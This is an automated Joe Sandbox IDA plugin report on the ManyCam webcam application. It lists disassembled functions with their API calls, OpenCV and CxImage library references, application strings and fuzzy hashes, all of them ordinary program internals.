Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxarray.cpp$COI must be non-null in case of planar images$cvPtr2D$index is out of range$unrecognized or unsupported array type
API String ID: 483703942-1988514440
Opcode ID: 3c8a5f57fcedcd7910862c6adaf69fbd6f060cfe578e71e4eebbab86a30ca40d
Instruction ID: 1de42ff5bd2c936670efa10c15deba09ee54d2915c75eb31d5221abcdae91eaf
Opcode Fuzzy Hash: 3c8a5f57fcedcd7910862c6adaf69fbd6f060cfe578e71e4eebbab86a30ca40d
Instruction Fuzzy Hash: B08145777803008BDB15CD09EC91A6AF3E2FBC4672F58463DF9469B6C1E635E50A87A0

Uniqueness

Uniqueness Score: -1.00%

Function 00434E60 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 254COMMON

Download Yara Rule

Strings

Text over video, xrefs: 00434F36
#NC, xrefs: 00434EB0, 00435002, 00435192, 004351A6, 00434FD1, 00434EB3, 00434FD4, 00435005, 00435195, 004351A9
Drawing over video, xrefs: 00434F75
Date & Time, xrefs: 00434EF4
Backgrounds, xrefs: 00435130

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID: #NC$Backgrounds$Date & Time$Drawing over video$Text over video
API String ID: 0-745308588
Opcode ID: e89cde5ceba465d579d9307fe3d900b605cbcdb901679e140c7094b8ba2244ab
Instruction ID: 61b0055fb2e5cbe1d4e4773f87cdc9b928e12edc189f893c90bd2281fadebac5
Opcode Fuzzy Hash: e89cde5ceba465d579d9307fe3d900b605cbcdb901679e140c7094b8ba2244ab
Instruction Fuzzy Hash: D4B14271D052189FCF08EFE5D851BEEBBB5BF48308F14452EE10A6B282DB385945CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0050F480 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

_mAnnnYca@aM_, xrefs: 0050F6D0

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID: _mAnnnYca@aM_
API String ID: 0-3995523097
Opcode ID: d785f2585446dacc2ea26e3cd8fc161da3962a7f22c1aaa8b953898c058bd1e2
Instruction ID: 03f3f580957dd8d98fe766c3b08c4ea85ac32c8ace33bb22cf726ef2f4b4dfae
Opcode Fuzzy Hash: d785f2585446dacc2ea26e3cd8fc161da3962a7f22c1aaa8b953898c058bd1e2
Instruction Fuzzy Hash: 51A12CB1A4021A9FDB24DF54DC95FEEB775BF88304F1082E8E50967281DB31AA80CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01726480 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 206COMMON

Download Yara Rule

APIs

cvStartReadSeq.CXCORE099(?,?,00000000), ref: 017264F8
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 01726547
cvError.CXCORE099(?,cvSeqSort,Bad input sequence,.\cxdatastructs.cpp,00000996), ref: 017266DE

Strings

cvSeqSort, xrefs: 017264C7, 01726669, 017266D5
Bad input sequence, xrefs: 017266CD
.\cxdatastructs.cpp, xrefs: 017264BD, 0172665F, 017266C6
Null compare function, xrefs: 01726664
Null element pointer, xrefs: 017264C2

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: BlockChangeErrorReadStart
String ID: .\cxdatastructs.cpp$Bad input sequence$Null compare function$Null element pointer$cvSeqSort
API String ID: 3844155852-512652948
Opcode ID: 6613fdd9c2793a1b5b40af17dcf1a503a16eeabdc2307a6f5ba1b8ab98e45352
Instruction ID: ae45925863bc72f7b8948023014d20d01f814b7a65462a1f4c233eb831278ba7
Opcode Fuzzy Hash: 6613fdd9c2793a1b5b40af17dcf1a503a16eeabdc2307a6f5ba1b8ab98e45352
Instruction Fuzzy Hash: 966135725083619FCB20CF19C890A1FFBE1AFC4714F55091EFE81A7346E671E8468B82

Uniqueness

Uniqueness Score: -1.00%

Function 0050F080 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

SetFileAttributesW.KERNEL32(00000000,00000080,?,?,74C45DB3), ref: 0050F10D
CreateFileW.KERNEL32(00000000,001F01FF,00000000,00000000,00000003,00000000,00000000,?,?,74C45DB3), ref: 0050F134

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

CMCEData::FlushToDisk(), xrefs: 0050F0B1
h-Z, xrefs: 0050F16C
_mAnnnYca@aM_, xrefs: 0050F18D
Couldn't open a file to flush MCE data to disk: %s, xrefs: 0050F156

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Fileclock$AllocatorAttributesCreateDebugHeap
String ID: CMCEData::FlushToDisk()$Couldn't open a file to flush MCE data to disk: %s$_mAnnnYca@aM_$h-Z
API String ID: 3526691834-3819927071
Opcode ID: c250c6d348c6a577bac95d433ffd8b1c35fd8412c96bf1b7ac210eb878312dd3
Instruction ID: 3fd365fe576ff881e40a2fa1f18d14bb5eaede2e8814e90bc3ea97a76a5821e3
Opcode Fuzzy Hash: c250c6d348c6a577bac95d433ffd8b1c35fd8412c96bf1b7ac210eb878312dd3
Instruction Fuzzy Hash: 62517C70E44318ABEB24DB64DC46BEAB774FB94700F0082ADE619672C1DF792A84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 017882A0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 98COMMON

Download Yara Rule

Strings

Key may not start with '-', xrefs: 017882B7
Missing ':', xrefs: 01788326
An empty key, xrefs: 017882FE
Inner function failed., xrefs: 01788388
icvYMLParseKey, xrefs: 017882BC, 01788303, 0178832B, 0178838D
.\cxpersistence.cpp, xrefs: 017882B2, 017882F9, 01788321, 01788383

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Errorsprintf
String ID: .\cxpersistence.cpp$An empty key$Inner function failed.$Key may not start with '-'$Missing ':'$icvYMLParseKey
API String ID: 1411199588-3902335945
Opcode ID: 7dc3ffd6c7beb07f562949e9a43d75a64123acb9fbd4a1bbfcefc75cf67cefeb
Instruction ID: 11a650652025b6db8de54925588c669ec0d2e3645a5376bfca5b1514d179f752
Opcode Fuzzy Hash: 7dc3ffd6c7beb07f562949e9a43d75a64123acb9fbd4a1bbfcefc75cf67cefeb
Instruction Fuzzy Hash: F2214B73B8C10927EB12361D7C49BEBF78D9B91738F8905BAF504AB297D6418D8502A3

Uniqueness

Uniqueness Score: -1.00%

Function 01702280 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

cvAlloc.CXCORE099(00000114), ref: 0170229A
cvInitMatNDHeader.CXCORE099(00000000,?,?,?,00000000), ref: 017022D7
cvGetErrStatus.CXCORE099 ref: 017022DF
cvGetErrStatus.CXCORE099 ref: 017022A8

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(FFFFFF2D,cvCreateMatNDHeader,non-positive or too large number of dimensions,.\cxarray.cpp,0000016E), ref: 01702311
cvGetErrStatus.CXCORE099 ref: 01702319
cvReleaseMat.CXCORE099(?), ref: 01702327

Strings

non-positive or too large number of dimensions, xrefs: 01702302
.\cxarray.cpp, xrefs: 017022B6, 017022FD
cvCreateMatNDHeader, xrefs: 017022C0, 01702307
Inner function failed., xrefs: 017022BB

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$AllocErrorHeaderInitReleasemalloc
String ID: .\cxarray.cpp$Inner function failed.$cvCreateMatNDHeader$non-positive or too large number of dimensions
API String ID: 1466104906-341057531
Opcode ID: 77bab2aa60ddaa041dd94d816a12cfeda858312b76f75dd9c1c8478dc5c993be
Instruction ID: 407216b96fb53ff8810df03f51d193a9a017a60ccc9e43e4b86b9057c954bc63
Opcode Fuzzy Hash: 77bab2aa60ddaa041dd94d816a12cfeda858312b76f75dd9c1c8478dc5c993be
Instruction Fuzzy Hash: 99114CF2348303B7EA01A695DC1EE4FE3D4CFD0BA1F51426DF615AA1C6E760D58042A6

Uniqueness

Uniqueness Score: -1.00%

Function 0041D3A0 Relevance: 18.2, APIs: 12, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D427
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D453
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D478
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D48C
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D4B3
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D4DE
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D506
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,?,74C45DB3,74C45DB3,74C45DB3), ref: 0041D532
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041D557
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041D56B
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041D592
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041D5BD

Part of subcall function 00412790: BitBlt.GDI32(FFFFFFFF,?,?,?,?,?,?,?,00CC0020), ref: 00412805

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$C__@@Draw@U3@_Utag$Width@$Height@$ClientRect
String ID:
API String ID: 800822957-0
Opcode ID: 48e4cdac09fd2584f099d7bad379a9fdd4af48967efff26b200e1ab649f63517
Instruction ID: 8b69319c21aec3ddee00cb00959702adc85bce415fb2168130725632d218664d
Opcode Fuzzy Hash: 48e4cdac09fd2584f099d7bad379a9fdd4af48967efff26b200e1ab649f63517
Instruction Fuzzy Hash: C671B3B5D002099FDB18EFA8D991BEEBBB5AF48304F20412EE515B7381DB342A45CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00406B70 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 325stringCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,00000000,00000008), ref: 00406BCD
lstrcmpiW.KERNEL32(00000000,static), ref: 00406BE4

Part of subcall function 00407320: GetWindowLongW.USER32(-00000004,000000F0), ref: 00407331

Part of subcall function 00406840: GetWindowLongW.USER32(?,000000F0), ref: 0040684F

LoadCursorW.USER32(00000000,00007F89), ref: 00406C72
GetStockObject.GDI32(0000000D), ref: 00406CC9
memset.MSVCR80 ref: 00406D0D
CreateFontIndirectW.GDI32(00000000), ref: 00406D7E

Strings

Anchor Color, xrefs: 00406FE4
Software\Microsoft\Internet Explorer\Settings, xrefs: 00406F6A
Anchor Color Visited, xrefs: 00407045
static, xrefs: 00406BDB

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: LongWindow$ClassCreateCursorFontIndirectLoadNameObjectStocklstrcmpimemset
String ID: Anchor Color$Anchor Color Visited$Software\Microsoft\Internet Explorer\Settings$static
API String ID: 537339791-2739629574
Opcode ID: 99ecedde21c05c3d22bbeafe7e2b67f4cdb7fe62b879cd42fd35616c0f2689b9
Instruction ID: 199e44e7be4628ee2e688c610ba56af09b0a08d7a3a9a70c30624c5daa12086b
Opcode Fuzzy Hash: 99ecedde21c05c3d22bbeafe7e2b67f4cdb7fe62b879cd42fd35616c0f2689b9
Instruction Fuzzy Hash: 45E14970A042689FDB64DB65CC49BAEB7B1AF04304F1042EAE54A772D2DB346EC4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004AAFD0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 254COMMON

Download Yara Rule

Strings

AN, xrefs: 004AAFEC
Effect pointer is NULL., xrefs: 004AB018
No such effect found in stack, xrefs: 004AB072
CEffectStack::SelectEffect, xrefs: 004AAFF8

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: clock$AllocatorDebugHeapfflushfwprintf
String ID: CEffectStack::SelectEffect$Effect pointer is NULL.$No such effect found in stack$AN
API String ID: 2739697835-3664681806
Opcode ID: 221cc7908e8e233be853d1dd1845420aec90c9ea438a58ddf34726c8fe8ac0e0
Instruction ID: 60628f8e65fa033cdeac9a30f19292ee3b75e2ecbf0df95034a13fcf3e9652a5
Opcode Fuzzy Hash: 221cc7908e8e233be853d1dd1845420aec90c9ea438a58ddf34726c8fe8ac0e0
Instruction Fuzzy Hash: FEB13A70E00208DFDB14DFA9C895BEEBBB5FF59314F10811EE415AB292DB786905CB98

Uniqueness

Uniqueness Score: -1.00%

Function 01702450 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161COMMON

Download Yara Rule

APIs

cvPtr2D.CXCORE099(?,00000000,00000000,00000000), ref: 017024D7
cvGetErrStatus.CXCORE099 ref: 017024E1
cvError.CXCORE099(000000FF,cvGetRawData,Inner function failed.,.\cxarray.cpp,000004B6), ref: 01702500
cvError.CXCORE099(000000FB,cvGetRawData,unrecognized or unsupported array type,.\cxarray.cpp,000004E4), ref: 01702600

Strings

Only continuous nD arrays are supported here, xrefs: 01702564
.\cxarray.cpp, xrefs: 017024EF, 0170255F, 017025EF
cvGetRawData, xrefs: 017024F9, 01702569, 017025F9
Inner function failed., xrefs: 017024F4
unrecognized or unsupported array type, xrefs: 017025F4

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Ptr2Status
String ID: .\cxarray.cpp$Inner function failed.$Only continuous nD arrays are supported here$cvGetRawData$unrecognized or unsupported array type
API String ID: 3259787191-3229946207
Opcode ID: c3e312f69f25bb7a66582ac0c3f5d9e95f8ab11fe1cdd0a0a856928c8e9bd3a8
Instruction ID: ea76683895ab17e8ab155b291852467141a035a3073482959c723d7b53f5a345
Opcode Fuzzy Hash: c3e312f69f25bb7a66582ac0c3f5d9e95f8ab11fe1cdd0a0a856928c8e9bd3a8
Instruction Fuzzy Hash: 1D51EF72304701DBEB26CE2DE868B1AF7E0EF80720F2545ADE5429B6D6D331E844CA54

Uniqueness

Uniqueness Score: -1.00%

Function 01702070 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

cvAlloc.CXCORE099(0000001C), ref: 017020E4
cvGetErrStatus.CXCORE099 ref: 017020F2
cvError.CXCORE099(FFFFFF37,cvCreateMatHeader,Non-positive width or height,.\cxarray.cpp,00000088), ref: 01702188
cvGetErrStatus.CXCORE099 ref: 01702190
cvReleaseMat.CXCORE099(?), ref: 0170219E

Strings

.\cxarray.cpp, xrefs: 017020C9, 01702100, 01702174
Invalid matrix type, xrefs: 017020CE
Inner function failed., xrefs: 01702105
cvCreateMatHeader, xrefs: 017020D3, 0170210A, 0170217E
Non-positive width or height, xrefs: 01702179

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$AllocErrorRelease
String ID: .\cxarray.cpp$Inner function failed.$Invalid matrix type$Non-positive width or height$cvCreateMatHeader
API String ID: 3584650851-3203345803
Opcode ID: 5aca9529bb1da98d92a529b4c64ea71e5cb42b01a9c97d87ddbcec361523230e
Instruction ID: 4b28b1a6c1b914fb9782b6eaaefdff460a1b9020442179ef0521361a7a3999bd
Opcode Fuzzy Hash: 5aca9529bb1da98d92a529b4c64ea71e5cb42b01a9c97d87ddbcec361523230e
Instruction Fuzzy Hash: 113177B77447069BE721CF29EC49A16F2D1ABE0B61F504B2EF662D66C1DBB0E4044741

Uniqueness

Uniqueness Score: -1.00%

Function 005047C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP80(00000000,74C45DB3,?,?,?,00000000,00538D49,000000FF,?,0050405E,?), ref: 005047EA
??Bid@locale@std@@QAEIXZ.MSVCP80(?,?,?,00000000,00538D49,000000FF,?,0050405E), ref: 00504804
?_Getfacet@locale@std@@QBEPBVfacet@12@I@Z.MSVCP80(00538D49,?,?,?,00000000,00538D49,000000FF,?,0050405E), ref: 00504814
??1_Lockit@std@@QAE@XZ.MSVCP80(00585C98,00585C98), ref: 00504898

Strings

^@P, xrefs: 00504811
bad cast, xrefs: 00504844

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getfacet@locale@std@@Vfacet@12@
String ID: ^@P$bad cast
API String ID: 2261832285-3230263104
Opcode ID: 3b2a1131cef9067ba1ac1022581be8c82768a399d86bdfc45b63dcb7fc16c2e6
Instruction ID: 824bbbae0ea1dedba38b35fd60e665a14d2ea96d15b6e9388a122e9d75c37290
Opcode Fuzzy Hash: 3b2a1131cef9067ba1ac1022581be8c82768a399d86bdfc45b63dcb7fc16c2e6
Instruction Fuzzy Hash: 4631F9B4D04209DFDB08DFA5E845AAEBBB5FF58310F108A2AE922A33D0DB745905DF50

Uniqueness

Uniqueness Score: -1.00%

Function 004087B0 Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 464memoryCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000004), ref: 004087E6

Part of subcall function 0040DA70: SetWindowPos.USER32(000001E2,-0000012B,000001E2,00000000,00000000,00000000,0040880B,?,?,0040880B,00000000,00000000,00000000,000001E2,-0000012B), ref: 0040DA95

Part of subcall function 004065F0: GetParent.USER32(?), ref: 004065FD

Part of subcall function 00406670: GetParent.USER32 ref: 0040669A
Part of subcall function 00406670: GetWindowRect.USER32(?,?), ref: 004066C0
Part of subcall function 00406670: GetWindowLongW.USER32(00000000,000000F0), ref: 004066DD
Part of subcall function 00406670: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0040670D

Part of subcall function 004CB5F0: SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000), ref: 004CB626
Part of subcall function 004CB5F0: _wmkdir.MSVCR80 ref: 004CB633

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

Part of subcall function 004164A0: FindFirstFileW.KERNEL32(00000000,00000104,000000D8,00000104,00000000), ref: 004164F5

MoveWindow.USER32(00000000,?,00000485,00000015,0000002D,00000052,00000017,00000000,00000117,000000C6,000000AF,00000017,00000001,00000000,?,0000048A), ref: 00408C6C
MoveWindow.USER32(00000000,?,0000048B,0000011C,00000104,00000058,00000017,00000000), ref: 00408CA4
MoveWindow.USER32(00000000,?,0000048C,0000017A,00000104,00000058,00000017,00000000), ref: 00408CDC
Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 00408D50
Concurrency::task_options::get_scheduler.LIBCPMTD ref: 00408DF3
_DebugHeapAllocator.LIBCPMTD ref: 00408E57

Strings

\ManyCam\TempBackgroundPreview, xrefs: 00408853
http://manycam.com/help/effects, xrefs: 00408A61

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

